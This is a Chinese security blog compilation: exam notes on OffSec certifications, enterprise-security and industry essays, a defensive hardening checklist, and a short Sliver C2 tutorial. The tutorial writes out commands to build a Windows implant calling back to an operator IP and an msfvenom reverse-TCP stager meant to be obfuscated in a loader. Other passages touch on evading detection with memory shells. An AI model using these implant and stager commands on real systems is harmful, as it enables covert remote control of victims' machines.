可观测性方面,直言不讳,现在的专有云平台产品就是干不过每个垂直深入的可观测性领域(网络、主机、应用、安全)的公司。然而目前云厂商的专有云团队拥抱可观测性似乎并不积极。上文说的容器可以以抽象带来的性能损耗为代价解决很多应用级观测性问题,计算上,花样玩耍控制面,对每个node每个pod都看得死死的;网络上,花样制造各种overlay网络,然后对里边流着的东西拆包、导出、统计,什么都有了;但抽象以下的部分依然需要保证,那还是需要看云厂商自身产品的造化了。数据库的可观测性,国内倒也有不少厂商深耕得不错,SQL级的性能审计已经有相对成熟的商业方案,我甚至觉得过几年会卷出语法树级的(逃)。

可维护性方面,讲究一个兼顾深度自动化和简单随手开;IaC吹了好久了,然而国内还没见几个厂商尝试深度耕耘推广,大抵确实极端了些;从老运维视角,简单点的操作界面上点点,复杂的操作写好脚本批量跑,恰好合适,然而现在诸多专有云平台,CLI工具都坑坑洼洼,让人很难有这种按类适应的环境。怕是要等到哪家厂商CLI+API都打磨好,才好为广泛的二开铺平道路。当然,也已经有厂商试图把API聚合起来去搓一些统一的云管平台,但正如传统开发笑话描述的一样,前十三个标准看着都不满意,打算做个统一标准——然后现在世界上有第十四个标准了。还是要相信老运维之力,CLI能抹平云管和传统运维脚本开发的沟壑,API能抹平云管和复杂运维工具二开的沟壑,从而适应各种从纯手动到纯自动的场景。我们老嗨客脚本小子甚至都不管你什么平台,蚁剑冰蝎CF哥斯拉,一键托管。

剩下的部分,写到这里已经困了,还有一些美好的愿景暂时难以比较完善地描述。还是睡吧,梦里什么都有,万一哪天拿个树莓派把网线怼上去就能一键托管进aarch64计算资源池呢。

Sliver的基本操作

2024-10-15, 杭州

Sliver是近年来很火的一个C2框架,我使用的体感是,他的Reverse Shell和Forwarding功能比Cobalt Strike和MSF还要更稳定。Meterpreter已经做得很canonical了,而它做得更canonical。

但Sliver中文文档不甚完善,国内用的人也不多,所以我写一篇文章来记录一下Sliver的基本操作。

安装

安装Sliver。如果你到外网的连接稳定,可以直接执行curl https://sliver.sh/install|sudo bash

如果不稳定,可以参考我的步骤手动安装。

在Linux上手动安装

首先安装依赖

# APT (Ubuntu, Debian, Kali)
sudo apt install mingw-w64
# YUM (Fedora, CentOS, RHEL)
sudo yum install mingw64-gcc
# Arch Linux
sudo pacman -S mingw-w64-toolchain

然后从GitHub上下载最新发行的二进制文件,client和server都要下载。

以下脚本魔改自官方一键脚本,用于本地挪去/opt/sliver目录。

mkdir -p /opt/sliver
mv sliver-client_linux /opt/sliver/sliver
chmod +x /opt/sliver/sliver
mv sliver-server_linux /opt/sliver/sliver-server
chmod +x /opt/sliver/sliver-server
/opt/sliver/sliver-server unpack --force
ln -s /opt/sliver/sliver /usr/local/bin/sliver
cat > /etc/systemd/system/sliver.service <<-EOF
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/opt/sliver/sliver-server daemon

[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable sliver --now
/opt/sliver/sliver-server
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/

# Optional
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
    USER=$(basename "$USER_DIR")
    if id -u "$USER" >/dev/null 2>&1; then
        echo "Generating operator configs for user $USER..."
        mkdir -p "$USER_DIR/.sliver-client/configs"
        /opt/sliver/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
        chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
    fi
done

之后执行sliver就可以启动了。

大马生成

首先新建Profile,根据这个Profile生成大马。

profiles new --mtls 192.168.0.1:4445 --format exe --os win malware
profiles generate malware --save malware.exe

然后本地启动sliver监听MTLS:

mtls -l 4445

远端执行大马即会回连。

小马(Stager)生成

Sliver普通的Payload由于自带混淆等各种策略,往往体积能达到数MB甚至十数MB,这对极端缓慢的网络环境很不友好。此时就需要小步缓慢的Stager了。既然CS和MSF都有Stager,我们也可以有。

profiles new --mtls 192.168.0.1:4445 --format shellcode --os win malware
stage-listener --profile malware -u tcp://192.168.0.1:4446
msfvenom -p windows/x64/custom/reverse_tcp LHOST=192.168.0.1 LPORT=4446 -f raw -o stager.bin

然后把你的stager.bin混淆装载在你喜欢的loader,他就会去4446拉大马,大马反连你的4445,事儿就成了。

Beacon生成

Beacon就是主动异步回连避免闹出太大b动静的马。

(后面等有空写)

OffSec Learn Unlimited 小记

OSWA

2024-08-14, 衢州

我买了Offsec Learn Unlimited,今年以内都随便考,但我一不小心荒废掉了半年的时间,所以OSWA完全是以冲刺的方式来的(20天内刷完所有的course和challenge lab)。

OSWA在200系/300系里面应该是最简单的,门槛极低,有手就行,但我第一次考还是挂了。

考试形式是5台靶机,每台靶机日到Web后台就有local.txt,实现任意文件读取或者系统getshell就有proof.txt,每个txt给10分,共100分,70分及格。

由于考察的是Web代码漏洞和逻辑漏洞,侧重点就是针对单个Web站点的枚举!枚举!枚举!有些点可能看起来是用一种方法,实际上行不通,就要换一种方法,这个时候申请个break出去休息一下换换脑子挺好用的。

OSDA

2024-08-26, 杭州

OSDA更是冲刺,OSWA考完后过了两个星期直接考OSDA。充分展示了防守队如果一分钱都不投的话要怎么搞,你将扮演研判大手子,开着一辆ELK开源破车,对抗对面一天拿下ADC+Linux集群的大黑阔。

笑点解析:教的(徒手埋sysmon、拆eventvwr、铺rsyslogd、审journald)完全不考,如果你有充分的Linux渗透、Windows渗透和域渗透基础,学点基本的ELK语法就可以直接上了。 我统共花了大概有30小时在他的module lab上,毫无意义(除了学会看sysmon和event),早知道直接6小时冲完challenge的压轴题,就直接上了。

考试模式:给你一个ELK SIEM,内置有薄弱的态感功能,但不给机器登录权限,只给部分机器的osquery。然后对面的模拟大黑阔有10波攻击,由你顺序点击触发,rogue-like,不可以反复触发,要再来过只能重置靶场回第一关。你可以顺序一波波点下去,每波攻击完你要去态感上找证据截图论证他是咋打的。根据发现的进攻手段和论证情况给分。

难点在于,跟进攻性考试不同,你考试过程是不知道自己有没有拿完分数的,可能会有看漏的技巧,那写报告时就得被扣分了。 态感在关键的点还是好用的,某一波找不到被打的靶机,整不明白了的话,可以先到下一波,薅到态感提示了再倒推。 环境不太稳定,每一波打完建议至少静置10分钟再到下一波;我靶场翻了重置了2次,每次重置又要吃掉20分钟。因为攻击的逻辑是前后连续的,睡觉可能会带来断片,所以不如开局随便看看直接睡觉,睡醒再搞。24个小时我睡了10个小时,最后还提前1小时做完了。

OSWP

2024-09-29, 杭州

OSWP应该是200系里面最简单的,毕竟无线渗透没有什么花活,配网卡混杂模式监听模式,抓握手包,爆密码,铺设假AP假Portal,诸如此类。我1天学完,3个小时结束战斗(考试时间为3个小时45分钟)。会给一台Kali,三个场景,一个是必做题,另两个选做题至少做出一个。每次只固定启用一个场景,你需要使用revert功能切换场景。这里有点坑(也怪我没仔细读面板),我前20分钟完全没意识到它默认启用的场景并非必做题,折腾了一阵子。

OSWE

2024-10-12, 杭州

可能是因为最近考OSCP的人太多,交完报告之后5天才出结果。

个人体感上,OSWE比OSWA还简单,因为OSWA要24小时内打三台半的靶机,而OSWE只需要48小时内打一台半而且送你白盒源代码审计,连调试工具都给你准备好了。特殊的点在于OSWA每个靶机一定是兔子洞加RCE,而OSWE可能需要好几个洞才能到Admin Portal,然后还需要简单绕过才能RCE。此外就是OSWE需要你写PoC并提交,这个PoC必须是一键拿下Admin Portal并且一键Getshell的,中间不得有任何的交互。我平时就做各种infra开发,对我来说自然没什么问题;如果你没怎么学过开发,是天赋型的日站选手,则可能需要练一下用python3写脚本了。

我没学习也没复习直接裸考,所有代码都是现写的。但我建议你提前把官方的三个lab做完,因为他们可以覆盖绝大多数场景,遇到了直接代码复用完事。

如果你还觉得不够放心,本地可以备一些PHP/Django/Flask/Express.js/.NET/SpringBoot的引擎和环境,遇到卡点了本地在小环境先复现调整一下。

OSEP

2024-11-01, 杭州; 更新于2024-12-15 一战70分挂了,二战100分压线过关。只能说非常吃熟练度。

体感认为OSEP对中间水平的渗透测试工程师来说是一门不错的课程,虽然OffSec似乎对OSEP不是很上心,课程更新不太频繁,免杀等内容可能没有跟上2024年的时代,但他对于各类后渗透/域渗透的知识点覆盖非常全,靶机环境设计得也很优秀。如果穷但又想买OffSec的课的话,我的推荐顺序是OSCP>OSEP>OSED,其他只能说见仁见智。

唯独需要注意,免杀、后渗透、凭据窃取和利用等,务必把常用的几种工具都准备一下,不要只依赖单一工具,因为考试靶机的网络环境、访问控制策略和杀软配置都可能影响常用工具的效果。在测试机能通的,在考试靶机也未必能通,这一点做Challenge Lab的时候就能体会到。

我使用的C2工具是Sliver搭配msfvenom的custom shellcode stager,用起来确实顺手。

OSED

2024-12-05, 杭州

初见挂,写完shellcode。考试范围说也直白,Windows x86 汇编和Pwn,不含amd64,不含Linux。一是使用汇编手写shellcode,调用指定的几个系统API,必须null-free和位置无关,并且在测试机上调通能正常getshell,宛若本科大作业。二是使用指定手法绕过DEP的栈溢出Pwn。三是逆向绕过ASLR的Pwn。很吃理解,如果你没学过Pwn可能要预留一两个月坚持学习,否则还要学更久。

OSCP

2024-12-05, 杭州

2024年11月以来,OSCP配合美国有关部门的要求进行了改革,变成了OSCP+。现在是考过了送OSCP+证书,其中OSCP的部分跟原先一样永久有效,+的部分有效期三年,后面你必须再次考过OSCP/OSEP/OSWE/OSED考试来续期。

现时的考试制度是一个AD三台机(第一台机提权10分、第二台机提权10分、域控提权20分)和三台独立机(getshell 10分、提权10分)。合100分,70分及格,24小时内完成。2024年11月OSCP+改版以来,域会直接赠送你一个普通用户作为foothold,不再需要自己打点。

我足足考了四次才及格!为什么呢,前两次在改版前,不幸地,两次我都抽到了声名远扬的【数据删除】AD题。撞上了就不要想过了说是;后两次在OSCP+改革后,开局赠送AD的foothold,第三次AD速通但抽到了难度很高的单机;第四次终于抽到了比较简单的单机题。80分写完报告直接End Exam,没有力气了。

虽然OSCP列为PEN-200,但体感上他就是OffSec诸多课程最难的,因为考信息收集(enumeration)考得特别花,凭据永远会漏在你最意想不到的地方。除了信息收集以外,最恶心的就是花式爆破(路径和凭据)了,一是字典的选择和生成可能很刁钻;二是有的时候爆破工具甚至会拿着正确的结果给你报false,需要自己手动验出来,原因我暂且蒙古。OSCP更倾向于练你的渗透思路,技法是次要的。你要真练内网渗透技法就去报OSEP,练打点写PoC就报OSWA/OSWE。群友反映CPTS、CRTP的场景更好,但如果你在中国大陆从事中国大陆市场的安全工作,HR基本就认你OSCP/CISP/CISP-PTE。

刷题:我只刷了几道PG单机和四个Challenge Lab就冲了所以猛猛挂科,别学我,你要想稳过域就把Challenge Lab全刷了,并记录一下enumeration和提权的点。会差不多涵盖所有考到的思路。实践上考试内容可能略有超纲,对于单机,除了PG以外,大伙比较推荐刷HTB作为补充,也有群友推荐VHL靶机说是也很贴近。PG题质量不错,如果你买OSCP,差不多1/3的钱在课程值回来,1/3的钱在考试值回来,另外1/3你不刷PG就是亏了。

网络连接:有钱的话就买AWS香港EC2做Kali VM,考前开起来考完关闭,关的时候只收硬盘钱,然后AWS首年又会送你免费的硬盘额度。预留差不多60GB硬盘空间,参考官方教程安装Kali并开启RDP,真的稳。(这对于OSEP来说更加重要,我不建议你拿中国大陆境内网络直接连到OSEP,不然墙波动一下,你shell全掉,哭死。)没钱的话就要衡量一下自己的网络裸连Lab的VPN是否稳定了,如果不行的话需要套一层支持UDP转发的代理。

学习、刷题、考前和考中我都特别相信OffSec那句“Try harder”的宗旨,头脑发热的时候不妨回头看看还有哪些信息自己还没有往下enumerate;考完感觉Learn Unlimited真爽啊,算上冷静期你差不多有12条命,Pay harder!!!

企业安全杂谈(2024年)

本篇主要记录零散的杂谈,面向初次接手企业安全建设的人员。


数据要素的一些琐碎的战略思考

2024-05-13, 杭州

  1. 不存在的安全性。这块可以说是建设意识远远领跑于安全意识,对于有司各条线来说又根本不存在强制监管,以至于个人信息保护基本可以认为是不存在的事情,从长远来看就得躺平,只要是用了国内服务的部分,你就当自己是个体信息行程思维完全公开的三体人就好。
  2. 参差的意识。又到了我最喜欢的diff东西部省份时间。我个人感觉某西部省份整个从中到下的班子对数据要素的理解好像还停留在多做几个便民数字政务系统、报表系统,但这也是没办法的事。
    1. 数据资源的挖掘首先要求有这些系统做基本信息的录入统合关联;
    2. 然后再到基于系统提出一些业务要求,做深入的表分析;
    3. 推动跨部门跨表跨库跨仓数据融合以及大数据分析和交换的基础设施;
    4. 然后再要求数据的分级分类治理,把有价值的数据打包成各种方便流通的pack,就可以拿出来流通了。同时这也要求领导的战略把数据要素囊括进去,业务人员的能力往数据处理去贴靠,开发人员搓出来方便业务用的数据分析平台,这又是很大的人员培养工程。
  3. 垄断的信息差。安全和合规从来就是两回事,尽管多数有司条线都做不到安全,但他们还是得合规,在不懂做合规的情况下一刀切就是最方便的;除了合规以外当然也包括寻租的部分。这个时候数据资源垄断和渠道垄断就是必然的事情,你作为数据乙方(或者数据资源买方)要拉平就必须把很多个条线全部搞定,纯民企想都不用想,但可以关注一下国企的硬实力(数据处理能力)和软实力(跟各条线的关系、跟数据部门的关系),还有跟这些国企抱团形成上下游的民企。

企业后渗透的一些观察

2024-05-04, 杭州

  1. 网络:我是想到一个绕NTA的狠招,但因为太狠了我不说。但近些年来,甲方/蓝队的活儿淹没了我,只能等一个有缘人啥时候发明出来了。
  2. 主机和服务:相较之下绕主机安全就比较恶心,我感觉政企B侧Java一统江山的大方向下,还是得把内存马做精做深。 这种时候一方面得考虑跟钩子嗯挂的RASP玩gadget捉迷藏,另一方面很多红队开发/RTI都不注重的一点是拟态,红队总喜欢把马做小,我觉得其实是走了弯路。之前实战时的尝试感觉是,你越像业务接口越好。 免杀更是玄学,我曾经测某免费杀软时现场五分钟从零写了个直白socket的简单c2马,然后让杀软静态动态都扫了遍,居然没扫出来问题。
  3. 容器:理论上按照nday和不当配置逐项排查的思路就是CDK一把梭,实践上B侧有一些胖容器、单元化之类的服务治理策略暴露出的面儿也值得探究一下。从甲方视角看感觉开发人员基本盘在容器安全方面的卫生程度好比当年一堆人写PHP的时代。
  4. 云:打Endpoint、偷Metadata、偷授权三件套,然后就开始内网逛街偷产品数据。目前感觉大的态势还停留在挖云厂商内部API或者客户不当隔离不当授权的情况,没啥有意思的部分,好些组搓点API利用工具都能在GitHub上集到好多赞。我是用来布局白盒攻击面检测的,有些idea内部使用不方便开源。这方面sangf○r其实有产品,阿里云最近也上线了类似服务。云+攻击面其实值得单开一个话题,不知道有没有厂商做军火化。好多厂商好像这块意识稍微差点,缺少有战术意识的安全产品经理。

攻击面管理属于(在企业内部)最吃力不讨好的事

2024-04-26, 杭州

《该死的攻击面管理》有感而发。

哪怕不少有丰富安全管理经验的老人也还执着于黑盒测绘+人力渗透+资产登记那套,但抛开安全不说,CMDB跟资产(和各种虚拟化平台上资产统计的接口)咬合都很困难了。

我有一个猜想,领导和绝大多数人的网络安全认知模型 be like:

  • 第〇层:根本不考虑安全
  • 第一层:+防火墙ACL和杀毒软件
  • 第二层:+安全测试和安全意识培训
  • 第三层:+态势感知和基线漏洞管理
  • 第四层:+流量分析和网络测绘
  • 第五层:+安全左移和SOAR之类
  • 第六层:上面说的所有组件联动CMDB和hypervisor之类的做攻击面管理

我见过的多数管安全的领导在第三层,意识比较好的可能做到第四第五层,第六层没做过攻击队且脑内复盘推演过整个机房从发展到被打的脉络的话,是体会不到的。

真要做好攻击面管理,需要:

甲方的经理

  1. 了解防御方法论
  2. 了解攻击方法论
  3. 了解技术人员的行为
  4. 有上级的充分支持(包括预算)

乙方的经理:

  1. 有覆盖面够广的测绘设施,不只是互联网测绘,流量、hypervisor、硬件配置、系统、组件、SBOM甚至可能API都要考虑
  2. 对甲方的网络架构和开发行为认知都比较到位
  3. 待补充

开发团队重保自救

2023-06-01, 杭州

本文简要写给对网络安全没有什么概念的开发团队,在面对攻防演练/重保时,完全从实战操作出发,应当如何保护好自己的项目。

如果您的组织有完备且专业的安全团队,请求助于安全团队进行加固处置。 本文主要面向没有独立且强大的安全资源的开发者。

可以按照以下几个步骤进行:

  1. 资产收集
  2. 保护运行环境
  3. 保护应用程序
  4. 保护数据
  5. 缩窄攻击面
  6. 应战

资产收集

最经常见到的误区是,开发把一个资源访到了互联网上,然后想着“这是测试环境,我不告诉别人,别人就不知道有这个东西,怎么会来打我”。然而在网络空间,黑客有强大的测绘能力(IP扫描、天眼查企查查的企业信息、拆包你的app、在你的门户网站上对着字典遍历爬取……),就好比哪怕你在沙漠中间建了个房,天上的卫星也能看到,也能对你发射轨道炮。甚至有更可怕的情况,黑客比你还清楚你的资产,比如项目的禅道、GitLab,丢到角落一两年换了一批人,现在大家都不知道这个东西还在,但是黑客通过网络空间测绘测出来了,他们就会对这些资产进行攻击。

概括起来,凡是项目组扔到网上的(比如网站、数据库、云中间件、代码、项管、网盘),不管是用于测试还是其他什么用途,都需要进行资产的收集和梳理。

保护运行环境

不管是开发环境还是生产环境,凡是跑着的环境都要上保护措施。很多时候并不能怪病毒有多么凶猛,反而往往是自己把管理口开放出去了又放了弱口令之类的情况。可以按照下面的走查单进行走查:

  • 服务器是否安装了主机防护软件。
  • 防火墙入端是否已阻断外网访问22、3306、3389、5432、6179等高危端口(如果开了白名单,请检查白名单策略)。一个好方法是自己手机开热点,用流量网络试一下。
  • 防火墙是否对出端进行限制。一般来说服务器需要出端的场景不多,主要是调第三方API,而第三方API一般地址都是固定的。这方面更加推荐,如果有服务器集群互调场景,尽量做到能入的机器不准出,能出的机器不准入。
  • 排查机器的SSH、RDP、FTP和MySQL等服务的登录账号的弱口令/匿名任意登录账号情况。SSH一般建议使用公私钥登录,修改/etc/ssh/sshd_config禁止密码登录。
  • 排查机器是否将容器管理端口暴露到互联网。
  • 如果你比较有钱的话,可以部署工作在TCP/IP层的防火墙和IPS。
  • 如果你更有钱的话,可以部署实时流量审计。

保护应用程序

主要针对的是开放出来的各类Web程序和相关中间件的安全防护。可以按照下面的走查单进行走查:

  • 是否启用并配好了Web应用防火墙(WAF)。需要注意两点,一是WAF必须有效保护到了你的入口,二是HTTPS的TLS卸载必须在WAF上或WAF之前做,否则WAF起不到作用。
  • 不要忘记,如果域名配了AAAA解析,IPv6层也要防护。
  • 如果是新上的基于域名解析的云WAF,建议在上线停业窗口将被保护的IP开启对WAF地址的白名单。因为之前对应的IP可能已经被黑客提前网络测绘记录,黑客可以绕开WAF直接攻击IP。
  • 网站的管理页面(/admin之类)建议开启Nginx的HTTP Basic Auth,最好避免暴露在外网。
  • 开发项目组全局走查看是否存在未授权访问的查询接口,如路人或A用户改个参数就可以查到B用户所属的私人敏感信息/文件/……。
  • 排查是否可以通过猜解的情况猜出别的用户的文件和信息接口。
  • 排查SQL注入情况,避免一切先拼接SQL语句再prepare,甚至直接拼接查询的情况。
  • 排查Mongodb、ElasticSearch和OSS等组件是否存在未授权访问的情况。
  • 排查MQ、Mongodb、ElasticSearch、nacos、zabbix、greylog、prometheus、loki和OSS等周围中间件是否存在管理端和接口不慎开放到互联网的情况,这些不应该开到互联网。
  • 排查涉及文件系统读写(文件上传、根据文件名进行读取、删除)的情况,尤其文件上传点需要强制鉴权,并检查文件头。
  • 排查应用使用的开源组件是否存在漏洞,重点关注Apache Commons、fastjson、jackson和log4j2等组件。
  • 项目组使用的GitLab、Jira、禅道、Jenkins等系统应当针对开发IP强制开启白名单,如果实在开不了白名单,要将应用升到最新版本。一个推荐实践是使用强口令的Nginx HTTP Basic Auth进行保护,git的推拉都走SSH。
  • 排查应用的源代码和AK/AS是否被泄露。
  • 排查Swagger等接口文档是否暴露在互联网上。好些Java应用会生成swagger-ui页面,黑客简单一扫就能看到你的接口文档。
  • 排查是否不慎将网站备份文件放在了静态资源目录,可能导致黑客直接下载到你的源代码。
  • 在WAF或Nginx上设置server_name,避免被人直接扫IP扫到。server_name会校验和匹配HTTP请求头中的Host字段,如果不匹配,Nginx会帮你拦一道。
  • 业务应用不要使用root运行。你应该新建个普通权限用户,用这个用户跑应用。也不要贪图方便让这个用户直接免密sudo
  • 门户页建议开启防篡改功能,避免发生不好的政治影响。

保护数据

主要针对的是数据库、文件系统和队列等存储数据的地方。

一个简单粗暴的判断方法是:{姓名, 手机号, 身份证, 订单/地址/健康情况},里面任意出现两项的组合,就叫敏感信息。 可以按照下面的走查单进行走查:

  • 数据是否及时备份。这里不仅包括业务数据,也包括应用程序配置,定时的机器快照、数据库备份,都可以规划起来。
  • 数据是否加密。
  • 存储的密码是否经过SHA1及以上级别的加盐哈希。
  • 数据是否有权限控制。
  • 敏感数据打印到日志时是否脱敏。
  • 敏感数据是否按照相关行业法律法规(比如银行业的JR/T 0068-2020)放在符合网络隔离的安全区域。

缩窄攻击面

主要针对实际上我们可能暴露给黑客的内容进行判断。可以按照下面的走查单进行走查:

  • 不需要的服务直接关机!
  • 一些外包性质的网站上和数据库中适当抹去自己的logo、字样等,以显得这不是我们自己的资产。
  • 如果你相对有钱,请购买云厂商的云安全中心、态势感知等服务。态势感知服务的基线检查和漏洞扫描服务务必开启,他们能提示许多底线程度的安全问题。
  • 如果你相对有钱,可以请人来做渗透测试。
  • 如果你相当有钱,可以在服务器网段部署蜜罐。

应战

主要考虑真要打起来了的一个动态流程,可以按照下面的走查单进行走查:

  • 对接到WAF、主机安全和态势感知的监控告警是否已配置。实战中人不可能7*24小时盯着屏幕,但这些组件可以主动把异常情况推送到你手机短信甚至电话上。
  • 日常攻击态势巡检。可以每天定期登录,根据WAF看看有哪些IP一天按固定时段密集打你几百次,然后直接上手封掉。有些全球的肉鸡可能零零星星扫一下你,是正常现象,可以不理(也可以顺手封一下)。
  • 应急响应方案。需要明确写好,被打穿了第一时间谁处理,联系谁(建议联系安全专家),怎么处置。需要注意两点,一是业务连续性保障,如果服务器直接宕机了怎么起,被灌了垃圾数据怎么清理;二是由于黑客可能采用你没见过的持久化技术,一般的开发根本看不出已经中了病毒。沦陷主机最好直接全部格盘并重装系统。
  • 攻击溯源方案。一般来说还是建议临时找个安全专家来帮忙,在被打完的第一时间立刻到场取证溯源。蜜罐很多时候也有助于溯源,安全专家还有些别的社会手段去溯源。
  • 公共关系方案。考虑到读这篇文章的人大概是在中国大陆的,你应该提前考虑好可以使用什么社会关系去将现实中的影响(比如背锅)降到最低。

以上就是一些重保小知识,如果你有更好的建议和反馈,欢迎给我发邮件(左边最下方的“关于”)或是去我的GitHub个人首页仓库开issue或discussion。

产业问题的胡思乱想

2025-02-15, 杭州

我不太擅长直接就从宏观的大话开始说,直接以这几年CS很难找工作来简单切入分析。可能前面主要讲技术问题,但这只是个类比,实践上当然不止技术问题。

三年Spring,一生电商情

早几年当程序员很赚钱,说是程序员,实际上最主要就是电商业务开发,去培训班学三个月六个月,商城项目起手,操作系统会用,就可以说自己是程序员了。现在电商需求一下枯萎了,潮水退去,裸泳的人很容易就被看出来,或者说大家发现一整个儿的国内CS市场都在裸泳,但是宏观来看站在CS市场弄潮的多数人已经被困在这种惯性当中出不来了。

  • 培训班一转外包的人:没有足够厚的底子,除了写Spring Boot以外写别的也很困难。我觉得不能难为他们;但真正需求大潮褪去的时候,他们的出路在哪?既然当年选择了快速上工吃青春饭,青春饭结束后是不是也应该去思考追逐别的“快速上工”,正如当年发现互联网风口的机会一样?
  • 互联网大厂的产品经理和架构师们:站在风口起飞时是猪;现在没风了,结果猪赚够钱上树上岸不下来了。当然,大厂里还是见到非常多的大手子的,但他们人数显然少到不足以构建起良好的技术氛围。早几年Woshipm还经常能见到不错的产品思考,而现在感觉优秀的产品经理都躲到X上,而X上的产品经理往往疯魔。明明我们现在有更便宜的3D打印,有更便宜的电路板打印,还有更高性能的服务器和终端设备,PM们却枯竭在助力砍一刀、开通⭕️呗之类最low的事情上了。
  • 863核高基火炬计划顺延到信创软件的老学究学阀们:本该负责带起一支创新市场化技术团队,然而这些年在软件领域根本没有受到制裁的前提下硬是卖力装出一副自己很努力搞自主可控突破封锁的样子,揭开一看全是Postgres换皮、MySQL换皮、vscode换皮、3.10.0-1160.el7.x86_64换皮,还要争着立各种组织山头标准,恨不得把内核/GCC/GDB/Clang/Systemd/Glibc等版本锁死在自己唯一适配得动的版本。至于性能、工程能力、稳定性,有任何一家能做到出海和国际社区开源产品比划的水平吗?

最后的结果就是真正到了考验创新考验市场开拓的时候,新的业务场景想不出来,想得出来的场景做得一塌糊涂推广不开。美国的软件产业是从(军队学校和关基所需的)基础软件研究起手,在业务市场起飞,各自在各自的领域扪银纸;国内的软件产业则是伴随着移动互联网业务才做起来,基础软件全部围绕商业业务服务。本来是业务开发工资畸高,基础软件工资偏低;现在是业务开发工资雪崩,基础软件工资……更低了。真的有人在乎关基吗?说到底,服务器的意思是服务人的机器,不是总让人提供服务的机器,然而国内工程师红利实在用得太爽了!系统崩了无非摇人大半夜过去重启,车务段调度更新更崩了找台老机器用Flash跑起来也是一种先进解决方案,诸如此类。

零和博弈背后

接下来就开始往大的方面说了。Naval有篇访谈讲得很好,不管采取什么社会制度,多数的社会生产工作都可以分为两类,一是增值,二是零和博弈。在远古大家四舍五入还算野兽的时候就已经这么干了,你要么去采食,要么吃同类。一直延续到当代社会,比如你去种田,去打铁,去施政和交易促进资源合理分配,就是增值;你打商战,算计别人,摸鱼领工资,就是零和博弈。

不同的人,在不同的时间和场合,既可能从事增值的工作,也可能从事零和博弈。不管怎么去切蛋糕,社会基本上就是一部分人主要负责做大蛋糕,另外一部分人实际上就是在吃蛋糕。社会迅猛发展的时候,增值的效应会好过零和博弈;而一旦慢下来,比如企业没钱了开始按山头裁员,比如地区的非税收入猛涨,甚至开始PvP(说苏联方言的人vs说苏联方言的人)和PvE(人vs无人机),你就会感受到人类兽性大发进行零和博弈的残酷。所以为了这辈子活得更舒服,你就应该多做增值工作,尽量避免零和博弈。可惜兽性是刻在基因里的,他会在各种个体和社会层面抒发出来,有的人就是喜欢玩你,有的时候你就是不得不代表组织去干对面一架(比如比赛),只能说我祝愿大家少在严肃场合把自己带入兽性的深渊,人吃人的人最后总会匹配到人吃人的人,然后这辈子这么长,总有一天被吃掉。

扯远了。刚才说得好像是因为经济不好,所以零和博弈越来越多,但我觉得这个因果关系应该是反过来的,正是因为大家的增值工作慢慢遇到了边际效应,增出来的值越来越少,甚至慢慢转化为零和博弈,所以矛盾才会尖锐。早几年经济指标还没有这么难受的时候,“内卷”这个词就已经很火了(什么时候“费拉不堪”也能火一把),大家或多或少也有意识,但是无力改变

边际效应是一定会遇到的, 生产过剩是资本主义生产模式的宿命,起初大家都没有灯泡,然后大家都想要灯泡,最后人手一个灯泡,大家又只会生产灯泡,危机就来了。

碰壁的想象力,越来越难的创造力

你要想像得出有了灯泡之后人类可以干啥,才能在人手一个灯泡之后继续扩大需求。描绘出这样的想象之后,你要造得出来。想象力就是需求的能力,创造力就是供给的能力。

人们对共产主义的想象总是升级的,从每个街头都有免费热粥,到楼上楼下电灯电话,到OGAS,再到太空电梯和戴森球,无不体现着人们对打破必然王国进入自由王国的想象。而有些想象对你来说可能太远,能拉动内需的就是你对接下来一段时间自己生活的想象和愿景。比如我觉得旱厕很臭所以努力赚钱换了冲水马桶,然后发现坐太久容易痔疮冬天又冻尻,我决定再努力赚钱换自热涡轮泡沫盾消毒冲水智能马桶,这就是想象力对内需的拉动。

往大了讲,以前我们每次产能过剩,城里人不买东西了,就搞家电下乡/基建下乡,卖给村里人,最困难的时候,还搞人类下乡。总有人批评说这是在压榨乡村人几辈子积攒下来的财富,但问题来了,什么是财富?按传统农村的生活,习惯了天天吃腌菜旧菜吃出肠胃癌,习惯了心情不好就土烧配烟,习惯了便宜ccb染上冶游问题,小病扛着大病拖到死,他们存款连个理财都不办,闷个十年不动直到进医院进坟里,是财富吗?家电下乡的背后是用倾销带来的低价格撬开乡村群众的想象力,让他们看到并愿意改变自己的生活方式,走向更美好的生活。

但慢慢地,现在村里的生活水平也已经很高了,城里人近十年来也没有玩得更花。内需的先头部队找不着路,除去Old Money喜欢的那一套奢侈品、俱乐部、名流生活,New Money除了玩得变态点以外也没找到什么新的路子;内需的大部队按兵不动,当然这固然有之前部分决策按头的因素(本文不敢说什么),疫情的影响也很重要,但结构上的问题显然更严重,当然也更好理解:

  • 赋闲在家的人有吃有喝有玩,努力工作买反而要掏光家里钱包然后亏个干净
  • 赚钱的人没时间花,有时间的人不想赚钱
  • 人们按照前现代的组织方式进行现代的工作,浪费了许多注意力

就是很典型的结构问题,而部署上似乎人们也没打算大力解决这些结构问题,仿佛要放着慢慢僵化似的。你要在非常有限的时间、空间、精力和成本里去规划和设计美好生活,没有几个人的想象力能扛得住。结果就是大家躺平不咋消费凑合着过了。

创造力的难处也很显著。看看过去几年我们的先头部队都创造出了什么屎:

  • 元宇宙,除了可能比迷⭕️世界好点以外不知所云,扪心自问,“数字人”到底有谁在用,有谁觉得方便?真正还热乎着(热不热我不好说)的管人和VRchat鼓捣出来也只有死宅在玩
  • NFT藏品,不知道香港某位女士现在打工回本没有
  • AI智能体,智能没有呢?若智。

而提供给大众的商品又在干嘛呢?

  • 情绪价值消费品,包括但不限于饭圈、短视频、沸腾文等,以前总有家长批评说游戏是电子鸦片,现在抖音的月活来看,人类似乎真正发明并大规模推广了不需要药物介入的成瘾物
  • 智能家居,传统家电上叠IoT和传感器堆了这么多年,智能没有呢?若智。
  • 剩下的,我们好像真的没再造出来什么跟计算机网络和智能手机一样改变世界的产品

